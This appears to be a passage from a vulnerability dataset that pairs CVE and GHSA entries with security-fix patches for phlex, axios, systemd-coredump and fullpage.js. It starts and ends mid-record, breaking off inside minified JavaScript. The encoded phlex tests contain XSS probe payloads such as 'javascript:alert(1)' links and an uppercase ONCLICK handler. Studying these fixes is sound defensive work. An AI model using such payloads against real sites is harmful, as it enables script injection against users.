NfYXR0cmlidXRlcygqKmF0dHJpYnV0ZXMpCiAJCQllbmQKIAotCQkJaWYgYXR0cmlidXRlc1s6aHJlZl0mLnN0YXJ0X3dpdGg/KC9ccypqYXZhc2NyaXB0Oi8pCi0JCQkJYXR0cmlidXRlcy5kZWxldGUoOmhyZWYpCi0JCQllbmQKLQotCQkJaWYgYXR0cmlidXRlc1siaHJlZiJdJi5zdGFydF93aXRoPygvXHMqamF2YXNjcmlwdDovKQotCQkJCWF0dHJpYnV0ZXMuZGVsZXRlKCJocmVmIikKLQkJCWVuZAotCiAJCQlidWZmZXIgPSArIiIKIAkJCV9fYnVpbGRfYXR0cmlidXRlc19fKGF0dHJpYnV0ZXMsIGJ1ZmZlcjogYnVmZmVyKQogCkBAIC00MTgsOCArNDEwLDExIEBAIGRlZiBfX2J1aWxkX2F0dHJpYnV0ZXNfXyhhdHRyaWJ1dGVzLCBidWZmZXI6KQogCQkJCQllbHNlIHJhaXNlIEFyZ3VtZW50RXJyb3IsICJBdHRyaWJ1dGUga2V5cyBzaG91bGQgYmUgU3RyaW5ncyBvciBTeW1ib2xzLiIKIAkJCQllbmQKIAorCQkJCWxvd2VyX25hbWUgPSBuYW1lLmRvd25jYXNlCisJCQkJbmV4dCBpZiBsb3dlcl9uYW1lID09ICJocmVmIiAmJiB2LnN0YXJ0X3dpdGg/KC9ccypqYXZhc2NyaXB0Oi9pKQorCiAJCQkJIyBEZXRlY3QgdW5zYWZlIGF0dHJpYnV0ZSBuYW1lcy4gQXR0cmlidXRlIG5hbWVzIGFyZSBjb25zaWRlcmVkIHVuc2FmZSBpZiB0aGV5IG1hdGNoIGFuIGV2ZW50IGF0dHJpYnV0ZSBvciBpbmNsdWRlIHVuc2FmZSBjaGFyYWN0ZXJzLgotCQkJCWlmIEhUTUw6OkVWRU5UX0FUVFJJQlVURVNbbmFtZV0gfHwgbmFtZS5tYXRjaD8oL1s8PiYiJ10vKQorCQkJCWlmIEhUTUw6OkVWRU5UX0FUVFJJQlVURVNbbG93ZXJfbmFtZV0gfHwgbmFtZS5tYXRjaD8oL1s8PiYiJ10vKQogCQkJCQlyYWlzZSBBcmd1bWVudEVycm9yLCAiVW5zYWZlIGF0dHJpYnV0ZSBuYW1lIGRldGVjdGVkOiAje2t9LiIKIAkJCQllbmQKIApkaWZmIC0tZ2l0IGEvdGVzdC9waGxleC92aWV3L25hdWdodHlfYnVzaW5lc3MucmIgYi90ZXN0L3BobGV4L3ZpZXcvbmF1Z2h0eV9idXNpbmVzcy5yYgppbmRleCA1ZTRjYWQ0Ny4uYzc1ZGNmZjAgMTAwNjQ0Ci0tLSBhL3Rlc3QvcGhsZXgvdmlldy9uYXVnaHR5X2J1c2luZXNzLnJiCisrKyBiL3Rlc3QvcGhsZXgvdmlldy9uYXVnaHR5X2J1c2luZXNzLnJiCkBAIC0zLDYgKzMsMzYgQEAKIGRlc2NyaWJlIFBobGV4OjpIVE1MIGRvCiAJZXh0ZW5kIFZpZXdIZWxwZXIKIAorCXdpdGggIm5hdWdodHkgamF2YXNjcmlwdCBsaW5rcyIgZG8KKwkJdmlldyBkbworCQkJZGVmIHRlbXBsYXRlCisJCQkJYShocmVmOiAiamF2YXNjcmlwdDphbGVydCgxKSIpIHsgImEiIH0KKwkJCQlhKGhyZWY6ICJKQVZBU0NSSVBUOmFsZXJ0KDEpIikgeyAiYiIgfQorCQkJCWEoaHJlZjogOiJKQVZBU0NSSVBUOmFsZXJ0KDEpIikgeyAiYyIgfQorCQkJCWEoSFJFRjogImphdmFzY3JpcHQ6YWxlcnQoMSkiKSB7ICJkIiB9CisJCQllbmQKKwkJZW5kCisKKwkJaXQgInJlbW92ZXMgdGhlIGhyZWYgYXR0cmlidXRlcyIgZG8KKwkJCWV4cGVjdChvdXRwdXQpLnRvIGJlID09ICI8YT5hPC9hPjxhPmI8L2E+PGE+YzwvYT48YT5kPC9hPiIKKwkJZW5kCisJZW5kCisKKwl3aXRoICJuYXVnaHR5IHVwcGVyY2FzZSBldmVudCB0YWciIGRvCisJCXZpZXcgZG8KKwkJCWRlZiB0ZW1wbGF0ZQorCQkJCWJ1dHRvbiBPTkNMSUNLOiAiQUxFUlQoMSkiIGRvCisJCQkJCSJuYXVnaHR5IGJ1dHRvbiIKKwkJCQllbmQKKwkJCWVuZAorCQllbmQKKworCQlpdCAicmFpc2VzIiBkbworCQkJZXhwZWN0IHsgb3V0cHV0IH0udG8gcmFpc2VfZXhjZXB0aW9uIEFyZ3VtZW50RXJyb3IsCisJCQkJbWVzc2FnZTogYmUgPT0gIlVuc2FmZSBhdHRyaWJ1dGUgbmFtZSBkZXRlY3RlZDogT05DTElDSy4iCisJCWVuZAorCWVuZAorCiAJd2l0aCAibmF1Z2h0eSB0ZXh0IiBkbwogCQl2aWV3IGRvCiAJCQlkZWYgdmlld190ZW1wbGF0ZQ==", "url": "https://github.com/phlex-ruby/phlex/commit/aa50c604cdee1d0ce7ef068a4c66cbd5d43f96a1.patch" } ]
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CVE-2021-3749
Inefficient Regular Expression Complexity in axios/axios
axios is vulnerable to Inefficient Regular Expression Complexity
[ { "commit_message": "[PATCH] Security fix for ReDoS (#3980) lib/utils.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "RnJvbSA1YjQ1NzExNmUzMWRiMGU4OGZlZGU2YzQyOGU5NjllODdmMjkwOTI5IE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiByZWFkeS1yZXNlYXJjaCA8NzI5MTYyMDkrcmVhZHktcmVzZWFyY2hAdXNlcnMubm9yZXBseS5naXRodWIuY29tPgpEYXRlOiBNb24sIDMwIEF1ZyAyMDIxIDE4OjAzOjQzICswNTMwClN1YmplY3Q6IFtQQVRDSF0gU2VjdXJpdHkgZml4IGZvciBSZURvUyAoIzM5ODApCgotLS0KIGxpYi91dGlscy5qcyB8IDIgKy0KIDEgZmlsZSBjaGFuZ2VkLCAxIGluc2VydGlvbigrKSwgMSBkZWxldGlvbigtKQoKZGlmZiAtLWdpdCBhL2xpYi91dGlscy5qcyBiL2xpYi91dGlscy5qcwppbmRleCAyOGNjZmZmM2MwLi41ZDk2NmY0NDQ4IDEwMDY0NAotLS0gYS9saWIvdXRpbHMuanMKKysrIGIvbGliL3V0aWxzLmpzCkBAIC0xODUsNyArMTg1LDcgQEAgZnVuY3Rpb24gaXNVUkxTZWFyY2hQYXJhbXModmFsKSB7CiAgKiBAcmV0dXJucyB7U3RyaW5nfSBUaGUgU3RyaW5nIGZyZWVkIG9mIGV4Y2VzcyB3aGl0ZXNwYWNlCiAgKi8KIGZ1bmN0aW9uIHRyaW0oc3RyKSB7Ci0gIHJldHVybiBzdHIucmVwbGFjZSgvXlxzKi8sICcnKS5yZXBsYWNlKC9ccyokLywgJycpOworICByZXR1cm4gc3RyLnRyaW0gPyBzdHIudHJpbSgpIDogc3RyLnJlcGxhY2UoL15ccyt8XHMrJC9nLCAnJyk7CiB9CiAKIC8qKg==", "url": "https://github.com/axios/axios/commit/5b457116e31db0e88fede6c428e969e87f290929.patch" } ]
CWE-1333 Inefficient Regular Expression Complexity
CVE-2022-4415
A vulnerability was found in systemd. This security flaw can cause a local information leak due to systemd-coredump not respecting the fs.suid_dumpable kernel setting.
[ { "commit_message": "[PATCH 1/2] coredump: adjust whitespace src/coredump/coredump.c | 56 ++++++++++++++++++++--------------------- 1 file changed, 28 insertions(+), 28 deletions(-)", "patch_text_b64": "From 510a146634f3e095b34e2a26023b1b1f99dcb8c0 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Zbigniew=20J=C4=99drzejewski-Szmek?= <zbyszek@in.waw.pl>
Date: Tue, 29 Nov 2022 09:00:16 +0100
Subject: [PATCH 1/2] coredump: adjust whitespace

---
 src/coredump/coredump.c | 56 ++++++++++++++++++++---------------------
 1 file changed, 28 insertions(+), 28 deletions(-)

diff --git a/src/coredump/coredump.c b/src/coredump/coredump.c
index 50220c5ec719a..9ce2b92dedb5d 100644
--- a/src/coredump/coredump.c
+++ b/src/coredump/coredump.c
@@ -111,16 +111,16 @@ enum {
 };
 
 static const char * const meta_field_names[_META_MAX] = {
-        [META_ARGV_PID]          = "COREDUMP_PID=",
-        [META_ARGV_UID]          = "COREDUMP_UID=",
-        [META_ARGV_GID]          = "COREDUMP_GID=",
-        [META_ARGV_SIGNAL]       = "COREDUMP_SIGNAL=",
-        [META_ARGV_TIMESTAMP]    = "COREDUMP_TIMESTAMP=",
-        [META_ARGV_RLIMIT]       = "COREDUMP_RLIMIT=",
-        [META_ARGV_HOSTNAME]     = "COREDUMP_HOSTNAME=",
-        [META_COMM]              = "COREDUMP_COMM=",
-        [META_EXE]               = "COREDUMP_EXE=",
-        [META_UNIT]              = "COREDUMP_UNIT=",
+        [META_ARGV_PID]       = "COREDUMP_PID=",
+        [META_ARGV_UID]       = "COREDUMP_UID=",
+        [META_ARGV_GID]       = "COREDUMP_GID=",
+        [META_ARGV_SIGNAL]    = "COREDUMP_SIGNAL=",
+        [META_ARGV_TIMESTAMP] = "COREDUMP_TIMESTAMP=",
+        [META_ARGV_RLIMIT]    = "COREDUMP_RLIMIT=",
+        [META_ARGV_HOSTNAME]  = "COREDUMP_HOSTNAME=",
+        [META_COMM]           = "COREDUMP_COMM=",
+        [META_EXE]            = "COREDUMP_EXE=",
+        [META_UNIT]           = "COREDUMP_UNIT=",
 };
 
 typedef struct Context {
@@ -139,9 +139,9 @@ typedef enum CoredumpStorage {
 } CoredumpStorage;
 
 static const char* const coredump_storage_table[_COREDUMP_STORAGE_MAX] = {
-        [COREDUMP_STORAGE_NONE] = "none",
+        [COREDUMP_STORAGE_NONE]     = "none",
         [COREDUMP_STORAGE_EXTERNAL] = "external",
-        [COREDUMP_STORAGE_JOURNAL] = "journal",
+        [COREDUMP_STORAGE_JOURNAL]  = "journal",
 };
 
 DEFINE_PRIVATE_STRING_TABLE_LOOKUP(coredump_storage, CoredumpStorage);
@@ -157,13 +157,13 @@ static uint64_t arg_max_use = UINT64_MAX;
 
 static int parse_config(void) {
         static const ConfigTableItem items[] = {
-                { "Coredump", "Storage",          config_parse_coredump_storage,           0, &arg_storage           },
-                { "Coredump", "Compress",         config_parse_bool,                       0, &arg_compress          },
-                { "Coredump", "ProcessSizeMax",   config_parse_iec_uint64,                 0, &arg_process_size_max  },
-                { "Coredump", "ExternalSizeMax",  config_parse_iec_uint64_infinity,        0, &arg_external_size_max },
-                { "Coredump", "JournalSizeMax",   config_parse_iec_size,                   0, &arg_journal_size_max  },
-                { "Coredump", "KeepFree",         config_parse_iec_uint64,                 0, &arg_keep_free         },
-                { "Coredump", "MaxUse",           config_parse_iec_uint64,                 0, &arg_max_use           },
+                { "Coredump", "Storage",          config_parse_coredump_storage,     0, &arg_storage           },
+                { "Coredump", "Compress",         config_parse_bool,                 0, &arg_compress          },
+                { "Coredump", "ProcessSizeMax",   config_parse_iec_uint64,           0, &arg_process_size_max  },
+                { "Coredump", "ExternalSizeMax",  config_parse_iec_uint64_infinity,  0, &arg_external_size_max },
+                { "Coredump", "JournalSizeMax",   config_parse_iec_size,             0, &arg_journal_size_max  },
+                { "Coredump", "KeepFree",         config_parse_iec_uint64,           0, &arg_keep_free         },
+                { "Coredump", "MaxUse",           config_parse_iec_uint64,           0, &arg_max_use           },
                 {}
         };
 
@@ -209,15 +209,15 @@ static int fix_acl(int fd, uid_t uid) {
 static int fix_xattr(int fd, const Context *context) {
 
         static const char * const xattrs[_META_MAX] = {
-                [META_ARGV_PID]          = "user.coredump.pid",
-                [META_ARGV_UID]          = "user.coredump.uid",
-                [META_ARGV_GID]          = "user.coredump.gid",
-                [META_ARGV_SIGNAL]       = "user.coredump.signal",
-                [META_ARGV_TIMESTAMP]    = "user.coredump.timestamp",
-                [META_ARGV_RLIMIT]       = "user.coredump.rlimit",
-                [META_ARGV_HOSTNAME]     = "user.coredump.hostname",
-                [META_COMM]              = "user.coredump.comm",
-                [META_EXE]               = "user.coredump.exe",
+                [META_ARGV_PID]       = "user.coredump.pid",
+                [META_ARGV_UID]       = "user.coredump.uid",
+                [META_ARGV_GID]       = "user.coredump.gid",
+                [META_ARGV_SIGNAL]    = "user.coredump.signal",
+                [META_ARGV_TIMESTAMP] = "user.coredump.timestamp",
+                [META_ARGV_RLIMIT]    = "user.coredump.rlimit",
+                [META_ARGV_HOSTNAME]  = "user.coredump.hostname",
+                [META_COMM]           = "user.coredump.comm",
+                [META_EXE]            = "user.coredump.exe",
         };
 
         int r = 0;

From 3e4d0f6cf99f8677edd6a237382a65bfe758de03 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Zbigniew=20J=C4=99drzejewski-Szmek?= <zbyszek@in.waw.pl>
Date: Mon, 28 Nov 2022 12:12:55 +0100
Subject: [PATCH 2/2] coredump: do not allow user to access coredumps with
 changed uid/gid/capabilities

When the user starts a program which elevates its permissions via setuid,
setgid, or capabilities set on the file, it may access additional information
which would then be visible in the coredump. We shouldn't make the the coredump
visible to the user in such cases.

Reported-by: Matthias Gerstner <mgerstner@suse.de>

This reads the /proc/<pid>/auxv file and attaches it to the process metadata as
PROC_AUXV. Before the coredump is submitted, it is parsed and if either
at_secure was set (which the kernel will do for processes that are setuid,
setgid, or setcap), or if the effective uid/gid don't match uid/gid, the file
is not made accessible to the user. If we can't access this data, we assume the
file should not be made accessible either. In principle we could also access
the auxv data from a note in the core file, but that is much more complex and
it seems better to use the stand-alone file that is provided by the kernel.

Attaching auxv is both convient for this patch (because this way it's passed
between the stages along with other fields), but I think it makes sense to save
it in general.

We use the information early in the core file to figure out if the program was
32-bit or 64-bit and its endianness. This way we don't need heuristics to guess
whether the format of the auxv structure. This test might reject some cases on
fringe architecutes. But the impact would be limited: we just won't grant the
user permissions to view the coredump file. If people report that we're missing
some cases, we can always enhance this to support more architectures.

I tested auxv parsing on amd64, 32-bit program on amd64, arm64, arm32, and
ppc64el, but not the whole coredump handling.
---
 src/basic/io-util.h     |   9 ++
 src/coredump/coredump.c | 196 +++++++++++++++++++++++++++++++++++++---
 2 files changed, 192 insertions(+), 13 deletions(-)

diff --git a/src/basic/io-util.h b/src/basic/io-util.h
index 39728e06bcfa7..3afb134266a07 100644
--- a/src/basic/io-util.h
+++ b/src/basic/io-util.h
@@ -91,7 +91,16 @@ struct iovec_wrapper *iovw_new(void);
 struct iovec_wrapper *iovw_free(struct iovec_wrapper *iovw);
 struct iovec_wrapper *iovw_free_free(struct iovec_wrapper *iovw);
 void iovw_free_contents(struct iovec_wrapper *iovw, bool free_vectors);
+
 int iovw_put(struct iovec_wrapper *iovw, void *data, size_t len);
+static inline int iovw_consume(struct iovec_wrapper *iovw, void *data, size_t len) {
+        /* Move data into iovw or free on error */
+        int r = iovw_put(iovw, data, len);
+        if (r < 0)
+                free(data);
+        return r;
+}
+
 int iovw_put_string_field(struct iovec_wrapper *iovw, const char *field, const char *value);
 int iovw_put_string_field_free(struct iovec_wrapper *iovw, const char *field, char *value);
 void iovw_rebase(struct iovec_wrapper *iovw, char *old, char *new);
diff --git a/src/coredump/coredump.c b/src/coredump/coredump.c
index 9ce2b92dedb5d..b6f3a2f256fd7 100644
--- a/src/coredump/coredump.c
+++ b/src/coredump/coredump.c
@@ -4,6 +4,7 @@
 #include <stdio.h>
 #include <sys/prctl.h>
 #include <sys/statvfs.h>
+#include <sys/auxv.h>
 #include <sys/xattr.h>
 #include <unistd.h>
 
@@ -107,6 +108,7 @@ enum {
 
         META_EXE = _META_MANDATORY_MAX,
         META_UNIT,
+        META_PROC_AUXV,
         _META_MAX
 };
 
@@ -121,10 +123,12 @@ static const char * const meta_field_names[_META_MAX] = {
         [META_COMM]           = "COREDUMP_COMM=",
         [META_EXE]            = "COREDUMP_EXE=",
         [META_UNIT]           = "COREDUMP_UNIT=",
+        [META_PROC_AUXV]      = "COREDUMP_PROC_AUXV=",
 };
 
 typedef struct Context {
         const char *meta[_META_MAX];
+        size_t meta_size[_META_MAX];
         pid_t pid;
         bool is_pid1;
         bool is_journald;
@@ -186,13 +190,16 @@ static uint64_t storage_size_max(void) {
         return 0;
 }
 
-static int fix_acl(int fd, uid_t uid) {
+static int fix_acl(int fd, uid_t uid, bool allow_user) {
+        assert(fd >= 0);
+        assert(uid_is_valid(uid));
 
 #if HAVE_ACL
         int r;
 
-        assert(fd >= 0);
-        assert(uid_is_valid(uid));
+        /* We don't allow users to read coredumps if the uid or capabilities were changed. */
+        if (!allow_user)
+                return 0;
 
         if (uid_is_system(uid) || uid_is_dynamic(uid) || uid == UID_NOBODY)
                 return 0;
@@ -252,7 +259,8 @@ static int fix_permissions(
                 const char *filename,
                 const char *target,
                 const Context *context,
-                uid_t uid) {
+                uid_t uid,
+                bool allow_user) {
 
         int r;
 
@@ -262,7 +270,7 @@ static int fix_permissions(
 
         /* Ignore errors on these */
         (void) fchmod(fd, 0640);
-        (void) fix_acl(fd, uid);
+        (void) fix_acl(fd, uid, allow_user);
         (void) fix_xattr(fd, context);
 
         r = fsync_full(fd);
@@ -332,6 +340,153 @@ static int make_filename(const Context *context, char **ret) {
         return 0;
 }
 
+static int parse_auxv64(
+                const uint64_t *auxv,
+                size_t size_bytes,
+                int *at_secure,
+                uid_t *uid,
+                uid_t *euid,
+                gid_t *gid,
+                gid_t *egid) {
+
+        assert(auxv || size_bytes == 0);
+
+        if (size_bytes % (2 * sizeof(uint64_t)) != 0)
+                return log_warning_errno(SYNTHETIC_ERRNO(EIO), "Incomplete auxv structure (%zu bytes).", size_bytes);
+
+        size_t words = size_bytes / sizeof(uint64_t);
+
+        /* Note that we set output variables even on error. */
+
+        for (size_t i = 0; i + 1 < words; i += 2)
+                switch (auxv[i]) {
+                case AT_SECURE:
+                        *at_secure = auxv[i + 1] != 0;
+                        break;
+                case AT_UID:
+                        *uid = auxv[i + 1];
+                        break;
+                case AT_EUID:
+                        *euid = auxv[i + 1];
+                        break;
+                case AT_GID:
+                        *gid = auxv[i + 1];
+                        break;
+                case AT_EGID:
+                        *egid = auxv[i + 1];
+                        break;
+                case AT_NULL:
+                        if (auxv[i + 1] != 0)
+                                goto error;
+                        return 0;
+                }
+ error:
+        return log_warning_errno(SYNTHETIC_ERRNO(ENODATA),
+                                 "AT_NULL terminator not found, cannot parse auxv structure.");
+}
+
+static int parse_auxv32(
+                const uint32_t *auxv,
+                size_t size_bytes,
+                int *at_secure,
+                uid_t *uid,
+                uid_t *euid,
+                gid_t *gid,
+                gid_t *egid) {
+
+        assert(auxv || size_bytes == 0);
+
+        size_t words = size_bytes / sizeof(uint32_t);
+
+        if (size_bytes % (2 * sizeof(uint32_t)) != 0)
+                return log_warning_errno(SYNTHETIC_ERRNO(EIO), "Incomplete auxv structure (%zu bytes).", size_bytes);
+
+        /* Note that we set output variables even on error. */
+
+        for (size_t i = 0; i + 1 < words; i += 2)
+                switch (auxv[i]) {
+                case AT_SECURE:
+                        *at_secure = auxv[i + 1] != 0;
+                        break;
+                case AT_UID:
+                        *uid = auxv[i + 1];
+                        break;
+                case AT_EUID:
+                        *euid = auxv[i + 1];
+                        break;
+                case AT_GID:
+                        *gid = auxv[i + 1];
+                        break;
+                case AT_EGID:
+                        *egid = auxv[i + 1];
+                        break;
+                case AT_NULL:
+                        if (auxv[i + 1] != 0)
+                                goto error;
+                        return 0;
+                }
+ error:
+        return log_warning_errno(SYNTHETIC_ERRNO(ENODATA),
+                                 "AT_NULL terminator not found, cannot parse auxv structure.");
+}
+
+static int grant_user_access(int core_fd, const Context *context) {
+        int at_secure = -1;
+        uid_t uid = UID_INVALID, euid = UID_INVALID;
+        uid_t gid = GID_INVALID, egid = GID_INVALID;
+        int r;
+
+        assert(core_fd >= 0);
+        assert(context);
+
+        if (!context->meta[META_PROC_AUXV])
+                return log_warning_errno(SYNTHETIC_ERRNO(ENODATA), "No auxv data, not adjusting permissions.");
+
+        uint8_t elf[EI_NIDENT];
+        errno = 0;
+        if (pread(core_fd, &elf, sizeof(elf), 0) != sizeof(elf))
+                return log_warning_errno(errno_or_else(EIO),
+                                         "Failed to pread from coredump fd: %s", STRERROR_OR_EOF(errno));
+
+        if (elf[EI_MAG0] != ELFMAG0 ||
+            elf[EI_MAG1] != ELFMAG1 ||
+            elf[EI_MAG2] != ELFMAG2 ||
+            elf[EI_MAG3] != ELFMAG3 ||
+            elf[EI_VERSION] != EV_CURRENT)
+                return log_info_errno(SYNTHETIC_ERRNO(EUCLEAN),
+                                      "Core file does not have ELF header, not adjusting permissions.");
+        if (!IN_SET(elf[EI_CLASS], ELFCLASS32, ELFCLASS64) ||
+            !IN_SET(elf[EI_DATA], ELFDATA2LSB, ELFDATA2MSB))
+                return log_info_errno(SYNTHETIC_ERRNO(EUCLEAN),
+                                      "Core file has strange ELF class, not adjusting permissions.");
+
+        if ((elf[EI_DATA] == ELFDATA2LSB) != (__BYTE_ORDER == __LITTLE_ENDIAN))
+                return log_info_errno(SYNTHETIC_ERRNO(EUCLEAN),
+                                      "Core file has non-native endianness, not adjusting permissions.");
+
+        if (elf[EI_CLASS] == ELFCLASS64)
+                r = parse_auxv64((const uint64_t*) context->meta[META_PROC_AUXV],
+                                 context->meta_size[META_PROC_AUXV],
+                                 &at_secure, &uid, &euid, &gid, &egid);
+        else
+                r = parse_auxv32((const uint32_t*) context->meta[META_PROC_AUXV],
+                                 context->meta_size[META_PROC_AUXV],
+                                 &at_secure, &uid, &euid, &gid, &egid);
+        if (r < 0)
+                return r;
+
+        /* We allow access if we got all the data and at_secure is not set and
+         * the uid/gid matches euid/egid. */
+        bool ret =
+                at_secure == 0 &&
+                uid != UID_INVALID && euid != UID_INVALID && uid == euid &&
+                gid != GID_INVALID && egid != GID_INVALID && gid == egid;
+        log_debug("Will %s access (uid="UID_FMT " euid="UID_FMT " gid="GID_FMT " egid="GID_FMT " at_secure=%s)",
+                  ret ? "permit" : "restrict",
+                  uid, euid, gid, egid, yes_no(at_secure));
+        return ret;
+}
+
 static int save_external_coredump(
                 const Context *context,
                 int input_fd,
@@ -454,6 +609,8 @@ static int save_external_coredump(
                                 context->meta[META_ARGV_PID], context->meta[META_COMM]);
         truncated = r == 1;
 
+        bool allow_user = grant_user_access(fd, context) > 0;
+
 #if HAVE_COMPRESSION
         if (arg_compress) {
                 _cleanup_(unlink_and_freep) char *tmp_compressed = NULL;
@@ -491,7 +648,7 @@ static int save_external_coredump(
                         uncompressed_size += partial_uncompressed_size;
                 }
 
-                r = fix_permissions(fd_compressed, tmp_compressed, fn_compressed, context, uid);
+                r = fix_permissions(fd_compressed, tmp_compressed, fn_compressed, context, uid, allow_user);
                 if (r < 0)
                         return r;
 
@@ -518,7 +675,7 @@ static int save_external_coredump(
                            "SIZE_LIMIT=%"PRIu64, max_size,
                            "MESSAGE_ID=" SD_MESSAGE_TRUNCATED_CORE_STR);
 
-        r = fix_permissions(fd, tmp, fn, context, uid);
+        r = fix_permissions(fd, tmp, fn, context, uid, allow_user);
         if (r < 0)
                 return log_error_errno(r, "Failed to fix permissions and finalize coredump %s into %s: %m", coredump_tmpfile_name(tmp), fn);
 
@@ -766,7 +923,7 @@ static int change_uid_gid(const Context *context) {
 }
 
 static int submit_coredump(
-                Context *context,
+                const Context *context,
                 struct iovec_wrapper *iovw,
                 int input_fd) {
 
@@ -945,16 +1102,15 @@ static int save_context(Context *context, const struct iovec_wrapper *iovw) {
                 struct iovec *iovec = iovw->iovec + n;
 
                 for (size_t i = 0; i < ELEMENTSOF(meta_field_names); i++) {
-                        char *p;
-
                         /* Note that these strings are NUL terminated, because we made sure that a
                          * trailing NUL byte is in the buffer, though not included in the iov_len
                          * count (see process_socket() and gather_pid_metadata_*()) */
                         assert(((char*) iovec->iov_base)[iovec->iov_len] == 0);
 
-                        p = startswith(iovec->iov_base, meta_field_names[i]);
+                        const char *p = startswith(iovec->iov_base, meta_field_names[i]);
                         if (p) {
                                 context->meta[i] = p;
+                                context->meta_size[i] = iovec->iov_len - strlen(meta_field_names[i]);
                                 break;
                         }
                 }
@@ -1191,6 +1347,7 @@ static int gather_pid_metadata(struct iovec_wrapper *iovw, Context *context) {
         uid_t owner_uid;
         pid_t pid;
         char *t;
+        size_t size;
         const char *p;
         int r;
 
@@ -1255,13 +1412,26 @@ static int gather_pid_metadata(struct iovec_wrapper *iovw, Context *context) {
                 (void) iovw_put_string_field_free(iovw, "COREDUMP_PROC_LIMITS=", t);
 
         p = procfs_file_alloca(pid, "cgroup");
-        if (read_full_virtual_file(p, &t, NULL) >=0)
+        if (read_full_virtual_file(p, &t, NULL) >= 0)
                 (void) iovw_put_string_field_free(iovw, "COREDUMP_PROC_CGROUP=", t);
 
         p = procfs_file_alloca(pid, "mountinfo");
-        if (read_full_virtual_file(p, &t, NULL) >=0)
+        if (read_full_virtual_file(p, &t, NULL) >= 0)
                 (void) iovw_put_string_field_free(iovw, "COREDUMP_PROC_MOUNTINFO=", t);
 
+        /* We attach /proc/auxv here. ELF coredumps also contain a note for this (NT_AUXV), see elf(5). */
+        p = procfs_file_alloca(pid, "auxv");
+        if (read_full_virtual_file(p, &t, &size) >= 0) {
+                char *buf = malloc(strlen("COREDUMP_PROC_AUXV=") + size + 1);
+                if (buf) {
+                        /* Add a dummy terminator to make save_context() happy. */
+                        *((uint8_t*) mempcpy(stpcpy(buf, "COREDUMP_PROC_AUXV="), t, size)) = '\0';
+                        (void) iovw_consume(iovw, buf, size + strlen("COREDUMP_PROC_AUXV="));
+                }
+
+                free(t);
+        }
+
         if (get_process_cwd(pid, &t) >= 0)
                 (void) iovw_put_string_field_free(iovw, "COREDUMP_CWD=", t);", "url": "https://github.com/systemd/systemd/commit/b7641425659243c09473cd8fb3aef2c0d4a3eb9c.patch" } ]
CWE-200
GHSA-h3cq-j957-vhxg
Cross-site Scripting in fullpage.js
null
[ { "commit_message": "[PATCH 1/5] Update fullpage.min.js dist/fullpage.min.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)", "patch_text_b64": "From 84e1a42b0b1530537d91ba3bbecaff950fbfddfe Mon Sep 17 00:00:00 2001
From: ranjit-git <pahan.ranjit0201@gmail.com>
Date: Tue, 12 Apr 2022 22:39:37 +0530
Subject: [PATCH 1/5] Update fullpage.min.js

---
 dist/fullpage.min.js | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/dist/fullpage.min.js b/dist/fullpage.min.js
index e8d235cf8..161820632 100644
--- a/dist/fullpage.min.js
+++ b/dist/fullpage.min.js
@@ -8,4 +8,4 @@
 *
 * Copyright (C) 2018 http://alvarotrigo.com/fullPage - A project by Alvaro Trigo
 */
-!function(n,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(n="undefined"!=typeof globalThis?globalThis:n||self).fullpage=t()}(this,(function(){"use strict";var n,t,e,o;Array.prototype.find||Object.defineProperty(Array.prototype,"find",{value:function(n){if(null==this)throw new TypeError('"this" is null or not defined');var t=Object(this),e=t.length>>>0;if("function"!=typeof n)throw new TypeError("predicate must be a function");for(var o=arguments[1],i=0;i<e;){var r=t[i];if(n.call(o,r,i,t))return r;i++}}}),Array.from||(Array.from=(n=Object.prototype.toString,t=function(t){return"function"==typeof t||"[object Function]"===n.call(t)},e=Math.pow(2,53)-1,o=function(n){var t=function(n){var t=Number(n);return isNaN(t)?0:0!==t&&isFinite(t)?(t>0?1:-1)*Math.floor(Math.abs(t)):t}(n);return Math.min(Math.max(t,0),e)},function(n){var e=this,i=Object(n);if(null==n)throw new TypeError("Array.from requires an array-like object - not null or undefined");var r,a=arguments.length>1?arguments[1]:void 0;if(void 0!==a){if(!t(a))throw new TypeError("Array.from: when provided, the second argument must be a function");arguments.length>2&&(r=arguments[2])}for(var u,l=o(i.length),c=t(e)?Object(new e(l)):new Array(l),f=0;f<l;)u=i[f],c[f]=a?void 0===r?a(u,f):a.call(r,u,f):u,f+=1;return c.length=l,c}));var i=window,r=document,a=navigator.userAgent.match(/(iPhone|iPod|iPad|Android|playbook|silk|BlackBerry|BB10|Windows Phone|Tizen|Bada|webOS|IEMobile|Opera Mini)/),u=/(Mac|iPhone|iPod|iPad)/i.test(i.navigator.userAgent),l="ontouchstart"in i||navigator.msMaxTouchPoints>0||navigator.maxTouchPoints,c={test:{},shared:{}},f=["parallax","scrollOverflowReset","dragAndMove","offsetSections","fadingEffect","responsiveSlides","continuousHorizontal","interlockedSlides","scrollHorizontally","resetSliders","cards","dropEffect","waterEffect"];function s(n,t){i.console&&i.console[n]&&i.console[n]("fullPage: "+t)}function v(n){return"none"!==i.getComputedStyle(n).display}function d(n){return Array.from(n).filter((function(n){return v(n)}))}function p(n,t){return(t=arguments.length>1?t:document)?t.querySelectorAll(n):null}function h(n){n=n||{};for(var t=1,e=arguments.length;t<e;++t){var o=arguments[t];if(o)for(var i in o)o.hasOwnProperty(i)&&"__proto__"!=i&&"constructor"!=i&&("[object Object]"!==Object.prototype.toString.call(o[i])?n[i]=o[i]:n[i]=h(n[i],o[i]))}return n}function m(n,t){return null!=n&&n.classList.contains(t)}function g(){return"innerHeight"in i?i.innerHeight:r.documentElement.offsetHeight}function w(){return i.innerWidth}function b(n,t){var e;for(e in n=M(n),t)if(t.hasOwnProperty(e)&&null!==e)for(var o=0;o<n.length;o++)n[o].style[e]=t[e];return n}function y(n){return n.previousElementSibling}function S(n){return n.nextElementSibling}function T(n,t){n=A(n)?n[0]:n;for(var e=null!=t?p(t,n.parentNode):n.parentNode.childNodes,o=0,i=0;i<e.length;i++){if(e[i]==n)return o;1==e[i].nodeType&&o++}return-1}function M(n){return A(n)?n:[n]}function x(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="none";return n}function 